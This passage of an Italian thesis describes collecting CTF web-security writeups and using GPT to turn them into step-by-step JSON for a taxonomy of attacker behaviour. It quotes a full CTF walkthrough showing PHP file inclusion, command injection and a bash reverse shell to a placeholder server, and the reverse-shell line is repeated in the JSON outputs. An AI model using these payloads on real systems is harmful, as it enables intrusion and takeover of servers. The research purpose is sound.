- Selettività nel download. La possibilità di selezionare e scaricare solo le parti rilevanti dei repository ha ottimizzato il tempo e gli sforzi, consentendo un focus preciso sui contenuti effettivamente necessari alla presente analisi.
- Accesso diretto a file specifici. In molte occasioni, avevo bisogno di accedere a documenti specifici all'interno di un repository. DownGit ha fornito un metodo diretto per isolare e scaricare questi file, evitando la navigazione attraverso l'intera struttura del repository.

### 3.1.5 Validazione manuale dei writeup scaricati

La validazione manuale dei writeup di CTF scaricati da GitHub ha assicurato che i dati utilizzati fossero di alta qualità e pertinenti. Questo processo accurato si è basato su criteri specifici, concepiti per isolare contenuti che rispondessero in modo adeguato agli obiettivi della presente analisi.

- Valutazione della difficoltà delle challenge
  - Obiettivo: selezionare writeup relativi a sfide CTF di medio/alta complessità.
  - Razionale: writeup di sfide semplici o elementari tendono a offrire meno approfondimenti sulle tecniche e le strategie avanzate, risultando meno utili per l'analisi mirata che intendevo condurre.
- Esame del livello di dettaglio e qualità del linguaggio
  - Obiettivo: assicurare chiarezza, dettaglio e qualità tecnica nei writeup.
  - Razionale: writeup ben scritti e dettagliati forniscono un'analisi più approfondita e comprensibile delle tecniche usate, cruciale per la presente ricerca.

Questa selezione ha permesso di concentrare l'analisi su dati che riflettono efficacemente le competenze e le strategie avanzate utilizzate nelle sfide CTF, specialmente nel contesto della sicurezza delle applicazioni web. La selezione ha assicurato che i dati inclusi nella presente analisi fossero non solo tecnologicamente approfonditi ma anche chiari e ben strutturati. Eliminando contenuti di bassa qualità o meno rilevanti, ci si è potuti focalizzare su informazioni che contribuivano significativamente alla ricerca, evitando distrazioni da dati irrilevanti o fuorvianti. La selezione accurata ha reso il processo di analisi più efficiente e focalizzato, permettendomi di dedicare tempo e risorse agli aspetti più rilevanti del presente studio.

La validazione manuale è stata un passo indispensabile per garantire che l'analisi finale si basasse su dati accurati, dettagliati e tecnicamente validi.

### 3.1.6 Organizzazione dei dati raccolti

La struttura gerarchica delle directory e il processo di rinomina dei file sono stati progettati con l'obiettivo di massimizzare la chiarezza e facilitare l'accesso ai dati pertinenti.

#### Struttura gerarchica delle directory

- Directory root
  - Organizzazione basata sull'autore o sul maintainer del repository.
  - Facilita l'identificazione rapida della fonte dei writeup.
- Directory figlie (se presenti)
  - Per maintainer con più repository, ogni repository aveva una propria directory figlia sotto la radice.
  - Nominata in base al nome del repository, facilitando la navigazione tra diverse collezioni dello stesso autore.
- Struttura interna del repository
  - Conservazione della struttura originale dei repository GitHub.
  - Assicura che l'organizzazione interna dei dati rimanga coerente con il layout originale.

```
csivitu/
|---- CTF-Write-ups/
|      |----- CSAW Quals 2020/
|      |----- CyBRICS CTF/
|      |----- Deconstruct.f/
|      |----- Google CTF/
|      |----- HacktivityCon CTF/
|      |----- NahamCon CTF/
|      |----- Zh3r0 CTF/
|      |----- redpwnCTF 2020/
|      '----- ctf-challenges/
|                  |----- Body Count/
|                  |----- CCC/
|                  |----- File Library/
|                  |----- Mr Rami/
|                  |----- Oreo/
|                  |----- Secure Portal/
|                  |----- The Confused Deputy/
|                  |----- The Usual Suspects/
|                  '----- Warm Up/
```

**Figura 3.3:** Raccolta dei dati - Visualizzazione struttura gerarchica delle directory



## Processo di rinomina dei writeup

I file markdown, contenenti essenzialmente i writeup, ovvero le risoluzioni delle sfide CTF, richiedevano un'organizzazione accurata per facilitare l'analisi. È stato quindi implementato un processo di rinomina specifico, mirato a ottimizzare la gestione e l'analisi dei dati.

Innanzitutto, sono stati selezionati esclusivamente i file in formato markdown, escludendo tutti gli altri tipi di file, come immagini o codici sorgenti, non essenziali per l'analisi testuale dei writeup.

Successivamente, si è proceduto con la rinomina dei file markdown, attribuendo loro un nome che riflettesse direttamente il titolo della competizione CTF affrontata, seguito dalla dicitura “\*\_original.md”. Tale convenzione di denominazione aveva lo scopo di distinguere chiaramente i file originali da eventuali versioni modificate o annotate che potevano emergere durante il processo di analisi. Questo approccio ha garantito che fosse sempre possibile riconoscere e accedere rapidamente al documento originale.

I benefici di questa organizzazione sono stati vari. Innanzitutto, la chiara strutturazione ha permesso una facile navigazione e ricerca all'interno dell'insieme di dati. La coerenza nella rinomina dei file ha assicurato che l'ordine originale e la struttura dei documenti fossero mantenuti, preservando così l'integrità dei dati.

Questi aspetti organizzativi hanno contribuito all'efficacia e al successo del progetto di ricerca.

### 3.1.7 Riassunto della raccolta dati

La raccolta dei dati per questa tesi si è rivelata un processo sistematico e meticolosamente organizzato, essenziale per garantire la raccolta di dati rilevanti e di alta qualità. L'utilizzo mirato delle API di GitHub ha permesso una selezione efficace e automatizzata dei repository di interesse, massimizzando l'efficienza e riducendo il rischio di errori.

La successiva fase di selezione manuale e validazione dei writeup ha ulteriormente raffinato il pool di dati, garantendo che solo i writeup più pertinenti e informativi venissero inclusi. Questo passaggio è stato fondamentale per assicurare che i dati raccolti rispecchiassero le sfide CTF complesse ed avanzate, rispondendo direttamente agli obiettivi della ricerca.

L'adozione di DownGit per il download dei dati ha semplificato e velocizzato il processo, mentre la strutturazione gerarchica delle directory e la rinomina sistematica dei file hanno contribuito a mantenere ordine e coerenza, facilitando enormemente la fase di analisi successiva. Questa organizzazione dei dati ha permesso una facile navigazione e correlazione tra i writeup e le relative sfide CTF.

```

csivitu/
|----- CTF-Write-ups/
|           |----- CSAW Quals 2020/
|           |           |----- csaw_qual_2020_original.md
|           |----- CyBRICS CTF/
|           |           |----- cybrics_ctf_original.md
|           |----- Deconstruct.f/
|           |           |----- deconstruct_f_original.md
|           |----- Google CTF/
|           |           |----- google_ctf_original.md
|           |----- HacktivityCon CTF/
|           |           |----- hacktivitycon_ctf_original.md
|           |----- NahamCon CTF/
|           |           |----- nahamcon_ctf_original.md
|           |----- Zh3r0 CTF/
|           |           |----- zh3r0_ctf_original.md
|           |----- redpwnCTF 2020/
|           |           |----- redpwnctf_2020_original.md
|----- ctf-challenges/
|           |----- Body Count/
|           |           |----- body_count_original.md
|           |----- CCC/
|           |           |----- ccc_original.md
|           |----- File Library/
|           |           |----- file_library_original.md
|           |----- Mr Rami/
|           |           |----- mr_rami_original.md
|           |----- Oreo/
|           |           |----- oreo_original.md
|           |----- Secure Portal/
|           |           |----- secure_portal_original.md
|           |----- The Confused Deputy/
|           |           |----- the_confused_deputy_original.md
|           |----- The Usual Suspects/
|           |           |----- the_usual_suspects_original.md
|           |----- Warm Up/
|           |           |----- warm_up_original.md

```

**Figura 3.4:** Raccolta dei dati - Visualizzazione file Original (“\*\_original.md”)

In sintesi, ogni fase del processo di raccolta dei dati è stata attentamente pianificata ed eseguita con l’obiettivo di assicurare che le informazioni raccolte fossero non solo estremamente pertinenti per lo studio, ma anche di qualità superiore. Questa attenzione alla raccolta e all’organizzazione dei dati non solo ha migliorato l’efficacia dell’analisi condotta, ma ha anche fornito una base solida per future ricerche in questo campo.

## 3.2 Elaborazione e normalizzazione dei dati

L’impiego di GPT, in particolare delle versioni avanzate come GPT-3.5 e GPT-4, ha giocato un ruolo fondamentale nel processo di elaborazione dei writeup delle competizioni CTF. Questa scelta è stata dettata dalla necessità di gestire e analizzare grandi volumi di

testo con un alto livello di efficienza e precisione.

### 3.2.1 Utilizzo di GPT per l'elaborazione dei writeup CTF

L'impiego di GPT ha portato significativi benefici in termini di elaborazione del linguaggio naturale, automatizzazione, efficienza, comprensione del contesto, flessibilità e risparmio di tempo e risorse.

Le capacità avanzate del modello hanno permesso un'interpretazione sofisticata e una strutturazione efficace di ampie quantità di dati, con un occhio di riguardo verso l'identificazione di elementi chiave. Questa versatilità si è rivelata preziosa per adattarsi a vari compiti di elaborazione del testo, rendendo GPT uno strumento indispensabile per diversi aspetti dell'analisi.

Senza l'ausilio di GPT, l'analisi dei writeup CTF avrebbe incontrato notevoli difficoltà. L'approccio manuale avrebbe imposto un carico di lavoro oneroso, con il rischio di incorrere in errori e incoerenze a causa della natura ripetitiva e della vastità dei dati da analizzare. Inoltre, l'efficienza del processo di analisi avrebbe risentito della mancanza di automatizzazione, rallentando ogni fase, dalla raccolta alla categorizzazione e interpretazione dei dati. Questo avrebbe non solo allungato i tempi di analisi, ma anche ridotto l'efficacia complessiva del processo di ricerca.

Un'altra sfida significativa senza GPT sarebbe stata la difficoltà nell'estrarre e strutturare informazioni complesse contenute nei writeup CTF. Data la natura tecnica e articolata dei dati, un'analisi manuale accurata e dettagliata avrebbe richiesto un impegno considerevole, rendendo più complesso il processo di interpretazione e strutturazione dei dati in formati utili per analisi successive.

#### Utilizzo delle API di GPT

Le API di GPT offrono la possibilità di integrare le sue capacità di elaborazione del linguaggio in diverse applicazioni:

- Automatizzazione di task di elaborazione del testo. Le API facilitano compiti come analisi, estrazione di informazioni, categorizzazione e strutturazione dei dati.
- Integrazione con altri strumenti e tecnologie. Le API permettono di combinare GPT con altre tecnologie, ampliando le sue applicazioni.
- Personalizzazione del processo di analisi. Le richieste API possono essere personalizzate per specifici compiti di analisi, come la suddivisione dei writeup in step e substep.

```

1 import openai
2 from secrets import api_key
3
4
5 def openai_example(prompt):
6     """
7     Query OpenAI's GPT-3.5 model with the given prompt.
8
9     Args:
10    prompt (str): The prompt to send to the model.
11
12    Returns:
13    str: The response text generated by the model.
14    """
15    openai.api_key = api_key
16
17    response = openai.Completion.create(
18        model="gpt-3.5-turbo",
19        prompt=prompt,
20        max_tokens=100
21    )
22
23    return response.choices[0].text.strip()
24
25
26 # Using the API
27 example_prompt = "Show me an example of using OpenAI's API"
28 response = openai_example(example_prompt)
29 print("Response from GPT-3.5:", response)

```

**Figura 3.5:** Elaborazione e normalizzazione dei dati - Script Python: utilizzo API di OpenAI (esempio)

In conclusione, l'impiego di GPT e delle sue API ha rivoluzionato il modo in cui vengono elaborati i writeup CTF, portando a un'analisi più efficiente, accurata e automatizzata. Questo non solo ha migliorato la qualità dell'analisi, ma ha anche aperto nuove vie per esplorare e comprendere i comportamenti degli attaccanti nelle sfide CTF.

### 3.2.2 Estrazione e filtraggio del testo utile

Nella presente ricerca, un aspetto cruciale è stato l'elaborazione e la normalizzazione dei writeup. Questo processo, incentrato sull'estrazione di testo utile dai file markdown dei writeup, si è dimostrato essenziale per ottenere informazioni chiare e ben strutturate.

```

# Body Count

Author: [AJ1479](https://github.com/AJ1479) and [roeroohan](https://github.com/roeroohan)

## Description

This challenge is based on PHP code injection to set up a reverse shell.

```

```

## Requirements

- Docker: [Dockerfile](./Dockerfile)

## Sources

'''
Here's a character count service for you!
'''

## Exploit

First, when you visit the website, you get redirected to '/?file=wc.php'. This might
→ indicate that you can include files from the server, such as '/?file=/etc/passwd'. You
→ can see in this file that there's a user called 'ctf', but that's not useful yet.
→ Moving on, you can find out that there's a 'robots.txt' file at '?file=robots.txt'.

'''
Disallow: /?file=checkpass.php
'''

Visiting that URL, you get redirected back to '/wc.php'. However, it maybe that there's
→ some code in 'checkpass.php' that might be important. If you request it in 'python',
→ you can see:

'''python
>>> r = requests.get('http://chall.csivit.com:30202?file=checkpass.php', allow_redirects=
→ False)
>>> r.text
'IMPORTANT!!! The page is still under development. This has a secret, do not push this
→ page.'
'''

We can try to view the source of this page with the help of 'php://filter'. Visit the
→ website:

'''
/?file=php://filter/convert.base64-encode/resource=checkpass.php

PD9waHAKJHBhc3N3b3JkID0gIncwcmRjMHVudDEyMyI7Ci8vIENvb2tpZSBwYXNzd29yZC4KZWNoYy==
'''

When you base64 decode this, you get:

'''bash
$ echo "PD9waHAKJHBhc3N3b3JkID0gIncwcmRjMHVudDEyMyI7Ci8vIENvb2tpZSBwYXNzd29yZC4KZWNoYy=="
→ | base64 -d
<?php
$password = "w0rdc0unt123";
// Cookie password.
echo "IMPORTANT!!! The page is still under development. This has a secret, do not push
→ this page.";

header('Location: /');
'''

So, we can see a suspicious '$password' variable. Let's also check the source for 'wc.php'
→ '.

'''bash
$ echo "PCFETONUWVBFIGH0bWw+CjxodG1sIGxhbm9ImVuIj4KCjxoZWZkPgogICAgPG1ldGEgY2hhcn==" |
→ base64 -d
<!DOCTYPE html>
<html lang="en">

<head>

```

```

<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>wc as a service</title>
<style>
    html,
    body {
        overflow: none;
        max-height: 100vh;
    }
</style>
</head>

<body style="height: 100vh; text-align: center; background-color: black; color: white;
→ display: flex; flex-direction: column; justify-content: center;">
    <?php
        ini_set('max_execution_time', 5);
        if ($_COOKIE['password'] !== getenv('PASSWORD')) {
            setcookie('password', 'PASSWORD');
            die('Sorry, only people from csivit are allowed to access this page.');
```

```
'''
'; bash -c "bash -i >& /dev/tcp/your.server.ip.address/8000 0>&1" #
'''
```

> Note: Replace 'your.server.ip.address' with your server's IP.

Once you pass this in the input, you get a shell on your server!

```
'''bash
www-data@9c9f6ae73053:/var/www/html$ ls
ls
checkpass.php
index.php
robots.txt
wc.php
www-data@9c9f6ae73053:/var/www/html$
'''
```

Let's navigate through the file system and see if there's something interesting. You can  
 ↳ see there's a folder 'ctf'. Inside that, there are a lot of folders.

```
'''bash
www-data@9c9f6ae73053:/ctf$ ls
ls
README
avenged
dream
findaas
led
system
www-data@9c9f6ae73053:/ctf$
'''
```

There's also a 'findaas' bash script, which you can use to locate 'flag.txt' (or you can  
 ↳ use the find command directly).

```
'''bash
www-data@9c9f6ae73053:/ctf$ ./findaas flag.txt
./findaas flag.txt
Enter a filename and find it here!
./system/of/a/down/flag.txt
www-data@9c9f6ae73053:/ctf$
'''
```

Now that you know where the flag is, you can just cat the flag!

```
'''
www-data@9c9f6ae73053:/ctf$ cat ./system/of/a/down/flag.txt
cat ./system/of/a/down/flag.txt
cat: ./system/of/a/down/flag.txt: Permission denied
www-data@9c9f6ae73053:/ctf$
'''
```

But there's a catch. You don't have permission to cat the flag. However, when you see the  
 ↳ 'README' file, it says that the password hash for 'ctf' is '6  
 ↳ f246c872cbf0b7fd7530b7aa235e67e'. You can bruteforce that using offline tools or using  
 ↳ [crackstation.net](https://crackstation.net/), and find out that the password is '  
 ↳ csictf' (maybe you could've guessed it too). Now, you can just switch to the user 'ctf  
 ↳ ' and print the flag!

```
'''bash
www-data@9c9f6ae73053:/ctf$ su ctf
su ctf
Password: csictf
cat ./system/of/a/down/flag.txt
csictf{1nj3ct10n_15_p41nful}
'''
```

```

Congrats! You have found the flag.

The flag is:

'''
csictf{1nj3ct10n_15_p41nful}
'''

```

**Listing 3.1:** Elaborazione e normalizzazione dei dati - File markdown: Original (challenge “Body Count”)

La prima tappa di questo percorso ha riguardato la selezione dei file writeup. Utilizzando uno script Python, sono stati individuati i file markdown, già rinominati in precedenza come “\*\_original.md”, per prepararli all’elaborazione. Successivamente, sono state sfruttate le API di OpenAI per inviare il contenuto di questi file a GPT. Attraverso un prompt specifico, è stato guidato il modello GPT nell’analisi del testo, mirando all’estrazione delle informazioni più rilevanti e tecnicamente pertinenti.

Il cuore di questo processo è stato identificare e isolare le sequenze di step eseguite dagli autori dei writeup, focalizzandosi sulle parti più informative. Il risultato di questa analisi è stato salvato in file JSON, denominati “\*\_presteps.json”, che rappresentavano una lista di step chiave individuati nei writeup. Ciascun step è stato rappresentato come una stringa all’interno della lista JSON, assicurando così una struttura chiara e facilmente interpretabile, fondamentale per l’analisi successiva.

```

You're provided with a writeup of a Capture The Flag (CTF) challenge.
Your task is to elaborate on every action taken during the challenge.

When describing each step:
- Keep the details clear and succinct. This is to ensure the information remains
practical for future reference and for analyzing the attacker's methodology.
- Your response should be formatted as a JSON list. Each item in the list should be a
string that describes a distinct step in the process.
- Do not include step numbers in your JSON list. The focus should be on the actions, not
their sequence or hierarchy.
- Your reply must consist exclusively of the JSON list. Please omit anything that is not
part of the JSON structure.

Here's the CTF writeup for which you need to detail the steps:

```

**Figura 3.6:** Elaborazione e normalizzazione dei dati - Prompt: da Original (“\*\_original.md”) a PrestepsModel (“\*\_presteps.json”)

L’importanza di questo processo di estrazione e normalizzazione risiede in diversi aspetti. Innanzitutto, mi ha permesso di filtrare le informazioni irrilevanti, concentrando l’attenzione sui dati essenziali per l’analisi delle strategie e delle tecniche impiegate nelle sfide CTF. Questa focalizzazione ha notevolmente agevolato l’analisi successiva dei comportamenti



degli attaccanti, permettendomi di lavorare con dati già strutturati in un formato coerente e ordinato.

La fase di elaborazione e normalizzazione dei writeup CTF si è rivelata un passaggio fondamentale nel processo di ricerca, garantendo che l'analisi successiva fosse basata su informazioni precise, pertinenti e sistematicamente organizzate. Questo approccio ha efficacemente trasformato i writeup in una risorsa preziosa per il presente studio, permettendomi di estrarre con successo il valore intrinseco contenuto in essi.

### **Criteri per la definizione del testo utile**

Durante l'elaborazione dei writeup delle competizioni CTF, è stata prestata particolare attenzione all'identificazione del cosiddetto "testo utile". In questo processo, sono stati adottati alcuni criteri chiave per determinare la rilevanza del testo.

Innanzitutto, si è deciso di escludere tutti i metadati. Informazioni come il nome della challenge, l'evento e l'autore, sebbene informative, non contribuivano direttamente all'analisi delle tecniche e strategie impiegate nelle sfide.

Si è fatta poi la scelta di rimuovere gli snippet di codice estesi. Nonostante la loro utilità in altri contesti, questi elementi avrebbero potuto generare confusione o errori nel processing dei modelli GPT. Il focus principale è rimasto sul testo che descriveva le azioni specifiche eseguite dagli autori durante la risoluzione delle sfide, includendo passaggi, decisioni, strategie e tecniche applicate.

Eliminando parti non essenziali, è stato ridotto il rischio di errori o interpretazioni errate da parte dei modelli di GPT, che, nonostante la loro avanzata capacità di elaborazione, non sono esenti da possibili incomprensioni. È stato inoltre assicurato che, pur rimuovendo alcune parti, le informazioni cruciali per l'analisi rimanessero intatte, preservando così l'integrità informativa. Mantenendo il focus sulle azioni e sulle strategie descritte, si è garantito l'allineamento dell'analisi con gli obiettivi della ricerca, ovvero l'identificazione e la categorizzazione delle tecniche specifiche alle sfide CTF di sicurezza delle applicazioni web.

### **3.2.3 Strutturazione dei dati in JSON**

Nella fase di organizzazione dei dati estratti dai writeup CTF, la scelta è ricaduta sul formato JSON (JavaScript Object Notation) per diverse ragioni, principalmente legate alla sua ampia adozione, compatibilità con svariati strumenti e linguaggi di programmazione e la sua intrinseca facilità di lettura e scrittura. La struttura gerarchica che JSON supporta si è dimostrata ideale per rappresentare dati complessi e annidati, come le sequenze di

azioni effettuate in un writeup CTF, rendendolo un formato particolarmente adatto per l'obiettivo della presente ricerca.

Tuttavia, nonostante i suoi indiscutibili vantaggi, JSON presenta alcune limitazioni, tra cui una leggibilità ridotta per documenti estremamente complessi e la mancanza di commenti nativi. Questi aspetti possono rappresentare un limite in determinati contesti di sviluppo e documentazione.

## Confronto con YAML

In questo contesto, un confronto con YAML (YAML Ain't Markup Language) è utile per comprendere le differenze tra i due formati. Sebbene YAML sia spesso considerato più leggibile di JSON, specialmente per file che richiedono una frequente interazione umana e per la sua flessibile sintassi, JSON è prevalso per la sua compatibilità e l'efficienza nel parsing e nella serializzazione, aspetti cruciali per l'elaborazione di dati in applicazioni web e API.

YAML offre il vantaggio dei commenti nel testo, migliorando la documentazione diretta all'interno del file, ma la sua compatibilità e interoperabilità sono leggermente inferiori rispetto a JSON, soprattutto nell'ambito delle applicazioni web e delle API, dove JSON ha una solida posizione.

In conclusione, è stato scelto JSON per la sua adattabilità alle mie esigenze di ricerca, grazie alla sua eccellente leggibilità, la compatibilità con un'ampia varietà di strumenti di programmazione e la sua efficacia nell'elaborazione di dati strutturati. Nonostante i benefici offerti da YAML, JSON si è rivelato più appropriato per le specifiche esigenze della presente ricerca, che si focalizza sulla tassonomia dei comportamenti degli attaccanti nelle sfide CTF.

### 3.2.4 Strutturazione del writeup come sequenza di step

In questa ricerca, si è optato per strutturare i writeup CTF come una sequenza di step, una scelta influenzata dalla natura intrinseca del comportamento degli attaccanti in questi scenari. Un writeup di una challenge CTF è essenzialmente una narrazione sequenziale delle azioni, decisioni e strategie adottate dall'attaccante per raggiungere un obiettivo definito.

Questa strutturazione come sequenza di step è vitale per comprendere il flusso logico e il processo decisionale dietro un attacco. Ogni step rappresenta una fase critica o una scelta strategica, permettendo di tracciare l'evoluzione di un attacco dalla sua iniziazione fino al raggiungimento dell'obiettivo finale. Inoltre, questa modalità di strutturazione facilita

l'individuazione di pattern comportamentali, evidenziando strategie ricorrenti e tecniche comuni, oltre a evidenziare potenziali vulnerabilità.

Un altro vantaggio significativo di questa strutturazione è la facilitazione dell'analisi comparativa. Confrontando la sequenza di step tra diversi writeup, emerge la possibilità di confronti diretti tra vari approcci e tattiche utilizzati dagli attaccanti in contesti differenti. Questo non solo arricchisce la comprensione delle tecniche utilizzate, ma è anche cruciale per la mappatura di queste azioni in una tassonomia categorica, obiettivo principale dello studio.

Nel contesto più ampio della sicurezza informatica, ogni step in un'azione di attacco simboleggia una decisione, un problema risolto o un ostacolo superato, gettando luce sul processo decisionale degli attaccanti. Questa prospettiva mette in evidenza il carattere incrementale degli attacchi in ambienti CTF, dove ogni azione si basa sul successo della precedente e gli attaccanti adattano costantemente le loro strategie.

La decisione di strutturare l'output dei writeup come una sequenza di step è stata una scelta metodologica chiave per una comprensione approfondita e dettagliata dei comportamenti degli attaccanti.

## StepsModel

Dopo aver estratto le sequenze di step dai writeup CTF, si è proceduto con una fase di ulteriore elaborazione utilizzando uno script Python, mirata a strutturare questi dati in un formato JSON più dettagliato. Questo approccio ha portato alla generazione di file denominati “\*\_steps.json”. In questi file, ogni passo è stato rappresentato come un oggetto JSON contenente coppie chiave-valore per il numero dello step e il testo corrispondente.

Nel processo di strutturazione tramite lo script Python, ogni step del writeup è stato trasformato in un oggetto JSON. Questi oggetti sono stati poi assegnati con due chiavi principali: “StepNumber” e “StepString”. “StepNumber” indica il numero sequenziale dello step nel processo di risoluzione della challenge, mentre “StepString” fornisce il testo descrittivo di quel particolare passo. Successivamente, tutti questi oggetti JSON sono stati organizzati in una lista, creando così una rappresentazione ordinata e sequenziale dei vari step identificati nel writeup originale.

```
1 {
2   "StepsModel": {
3     "Steps": [
4       {
5         "StepNumber": 1,
6         "StepString": "Visited the website and got redirected to '/?file=wc.php'"
7       },
8       {
9         "StepNumber": 2,
10        "StepString": "Visited '/?file=/etc/passwd' to confirm server-side file
11        ↳ inclusion"
12      }
13     ]
14   }
15 }
```

```

1  [
2    "Visited the website and got redirected to '/?file=wc.php'",
3    "Visited '/?file=/etc/passwd' to confirm server-side file inclusion",
4    "Discovered a 'robots.txt' file at '?file=robots.txt' revealing the existence of '
  ↪ checkpass.php'",
5    "Visited '/?file=checkpass.php' and realized the page contained some secret
  ↪ potentially usable code",
6    "Used 'php://filter' to view the source of 'checkpass.php' and discovered the
  ↪ password 'w0rdc0unt123'",
7    "Used 'php://filter' again and de-coded base64 strings to see the source code of 'wc.
  ↪ php'",
8    "Plugged the password ('w0rdc0unt123') from '$password' variable to the cookie and
  ↪ accessed the webpage",
9    "Found out that the user input '$text' from get param 'text' was passed into 'exec'
  ↪ leading to potential remote code execution",
10   "Tried the payload '; ls #'",
11   "Realized 'echo exec(...)' only returns the last line of the output",
12   "Tried to spawn a reverse shell with '; bash -c \"bash -i >& /dev/tcp/your.server.ip.
  ↪ address/8000 0>&1\" #'",
13   "Used the shell access to browse the file system and found a folder '/ctf'",
14   "Identified notable shell script 'findaas' inside '/ctf'",
15   "Located 'flag.txt' using './findaas flag.txt'",
16   "Attempted to read the flag using 'cat ./system/of/a/down/flag.txt' but was denied
  ↪ permission",
17   "Read the 'README' file and found a password hash '6f246c872cbf0b7fd7530b7aa235e67e
  ↪ '",
18   "Decoded the password hash to find password 'csictf'",
19   "Switched to the user 'ctf' using the password 'csictf'",
20   "Printed the flag using 'cat ./system/of/a/down/flag.txt'"
21 ]

```

**Figura 3.7:** Elaborazione e normalizzazione dei dati - File JSON: PrestepsModel (challenge “Body Count”)

```

12   {
13     "StepNumber": 3,
14     "StepString": "Discovered a 'robots.txt' file at '?file=robots.txt'
  ↪ revealing the existence of 'checkpass.php'"
15   },
16   {
17     "StepNumber": 4,
18     "StepString": "Visited '/?file=checkpass.php' and realized the page
  ↪ contained some secret potentially usable code"
19   },
20   {
21     "StepNumber": 5,
22     "StepString": "Used 'php://filter' to view the source of 'checkpass.php'
  ↪ and discovered the password 'w0rdc0unt123'"
23   },
24   {
25     "StepNumber": 6,
26     "StepString": "Used 'php://filter' again and de-coded base64 strings to
  ↪ see the source code of 'wc.php'"
27   },
28   {
29     "StepNumber": 7,
30     "StepString": "Plugged the password ('w0rdc0unt123') from '$password'
  ↪ variable to the cookie and accessed the webpage"
31   },

```

```

32         {
33             "StepNumber": 8,
34             "StepString": "Found out that the user input '$text' from get param 'text
↳ ' was passed into 'exec' leading to potential remote code execution"
35         },
36         {
37             "StepNumber": 9,
38             "StepString": "Tried the payload '; ls #'
39         },
40         {
41             "StepNumber": 10,
42             "StepString": "Realized 'echo exec(...)' only returns the last line of
↳ the output"
43         },
44         {
45             "StepNumber": 11,
46             "StepString": "Tried to spawn a reverse shell with '; bash -c \"bash -i
↳ >& /dev/tcp/your.server.ip.address/8000 0>&1\" #'
47         },
48         {
49             "StepNumber": 12,
50             "StepString": "Used the shell access to browse the file system and found
↳ a folder '/ctf'"
51         },
52         {
53             "StepNumber": 13,
54             "StepString": "Identified notable shell script 'findaas' inside '/ctf'"
55         },
56         {
57             "StepNumber": 14,
58             "StepString": "Located 'flag.txt' using './findaas flag.txt'"
59         },
60         {
61             "StepNumber": 15,
62             "StepString": "Attempted to read the flag using 'cat ./system/of/a/down/
↳ flag.txt' but was denied permission"
63         },
64         {
65             "StepNumber": 16,
66             "StepString": "Read the 'README' file and found a password hash '6
↳ f246c872cbf0b7fd7530b7aa235e67e'"
67         },
68         {
69             "StepNumber": 17,
70             "StepString": "Decoded the password hash to find password 'csictf'"
71         },
72         {
73             "StepNumber": 18,
74             "StepString": "Switched to the user 'ctf' using the password 'csictf'"
75         },
76         {
77             "StepNumber": 19,
78             "StepString": "Printed the flag using 'cat ./system/of/a/down/flag.txt'"
79         }
80     ]
81 }
82 }

```

**Listing 3.2:** Elaborazione e normalizzazione dei dati - File JSON: StepsModel (challenge “Body Count”)

L'adozione di questa struttura in formato JSON ha offerto diversi vantaggi. Innanzitutto, ha permesso di presentare i dati in modo chiaro e ordinato, facilitando l'interpretazione e l'analisi. La separazione e la numerazione chiara di ciascun step in oggetti JSON distinti

hanno reso i dati facilmente accessibili e interpretabili, sia per un'analisi manuale sia per elaborazioni automatizzate. Inoltre, la versatilità del formato JSON ha consentito di manipolare, filtrare o modificare i dati con semplicità.

Infine, la strutturazione dei dati in formato JSON ha preparato il terreno per analisi più avanzate, come ad esempio eventuali applicazioni di tecniche di machine learning o data mining, che possono trarre significativi vantaggi da una rappresentazione strutturata e ordinata dei dati. Questa fase di elaborazione, quindi, non solo ha migliorato la chiarezza e la gestibilità dei dati, ma ha anche aperto la strada a metodologie di analisi più complesse e sofisticate, aspetti cruciali per l'approfondimento e lo sviluppo di questa ricerca sulla tassonomia dei comportamenti degli attaccanti nelle sfide CTF.

### 3.2.5 Strutturazione di ogni step come sequenza di substep

È stata affinata ulteriormente l'analisi trasformando ciascun step principale estratto dai writeup in una serie di substep dettagliati. Per realizzare questo, è stato impiegato nuovamente GPT, inviando i dati strutturati in step tramite le API di OpenAI. L'obiettivo era scomporre ogni step in micro-azioni o substep, ciascuno rappresentando una componente semi-atmica dell'azione complessiva dell'attaccante. Questo processo ha portato alla creazione di file nominati `"*_substeps.json"`.

```
Refine the attack model by breaking down each step into more detailed actions. This is only required when it's possible to do so. For every primary step, you should create a list titled "Substeps." In cases where a step cannot be further divided, simply use the original description from "StepString" as the only entry in the "Substeps" list, now labeled "SubstepString." It's crucial to keep the "StepString" values the same as they were initially provided.
```

```
Here's an example to illustrate this process:
```

```
Input:
```

```
{
  "StepsModel": {
    "Steps": [
      {
        "StepNumber": 1,
        "StepString": "Visited the website and got redirected to '/?file=wc.php'"
      },
      {
        "StepNumber": 2,
        "StepString": "Realized 'echo exec(...)' only returns the last line of the output"
      }
      // ...more steps
    ]
  }
}
```

```
Output:
```

```
{
  "SubstepsModel": {
    "Steps": [
      {
        "StepNumber": 1,
        "StepString": "Visited the website and got redirected to '/?file=wc.php'",

```

```

    "Substeps": [
      {
        "SubstepNumber": 1.1,
        "SubstepString": "Visited the website."
      },
      {
        "SubstepNumber": 1.2,
        "SubstepString": "Observed redirection to '/?file=wc.php'."
      }
    ]
  },
  {
    "StepNumber": 2,
    "StepString": "Realized 'echo exec(...)' only returns the last line of the output",
    "Substeps": [
      {
        "SubstepNumber": 2.1,
        "SubstepString": "Realized 'echo exec(...)' only returns the last line of the
output."
      }
    ]
  }
  // ...more steps
]
}
}

```

When you return the refined JSON, make sure it includes only the updated model, without any additional comments or content.

Below is the input for the model that you need to refine:

**Listing 3.3:** Elaborazione e normalizzazione dei dati - Prompt: da StepsModel ("\*\_steps.json") a SubstepsModel ("\*\_substeps.json")

Il processo di suddivisione in substep con GPT è iniziato con l'invio dei dati organizzati in step al modello. È stato utilizzato un prompt specifico, guidando GPT nell'analisi di ogni step. Il prompt era incentrato sulla suddivisione di ogni step in una serie di azioni più piccole e gestibili. Le risposte di GPT, che contenevano i substep, sono state poi salvate in un nuovo file JSON. In questo file, ogni substep è stato accuratamente numerato e organizzato per riflettere l'ordine e la struttura del processo di attacco come descritto nel writeup originale.

```

1 {
2   "SubstepsModel": {
3     "Steps": [
4       {
5         "StepNumber": 1,
6         "StepString": "Visited the website and got redirected to '/?file=wc.php
7         ↪ '",
8         "Substeps": [
9           {
10            "SubstepNumber": 1.1,
11            "SubstepString": "Visited the website."
12          },
13          {
14            "SubstepNumber": 1.2,
15            "SubstepString": "Observed redirection to '/?file=wc.php'."
16          }
17        ]
18      }
19    ]
20  }
21 }

```

```

18         {
19             "StepNumber": 2,
20             "StepString": "Visited '/?file=/etc/passwd' to confirm server-side file
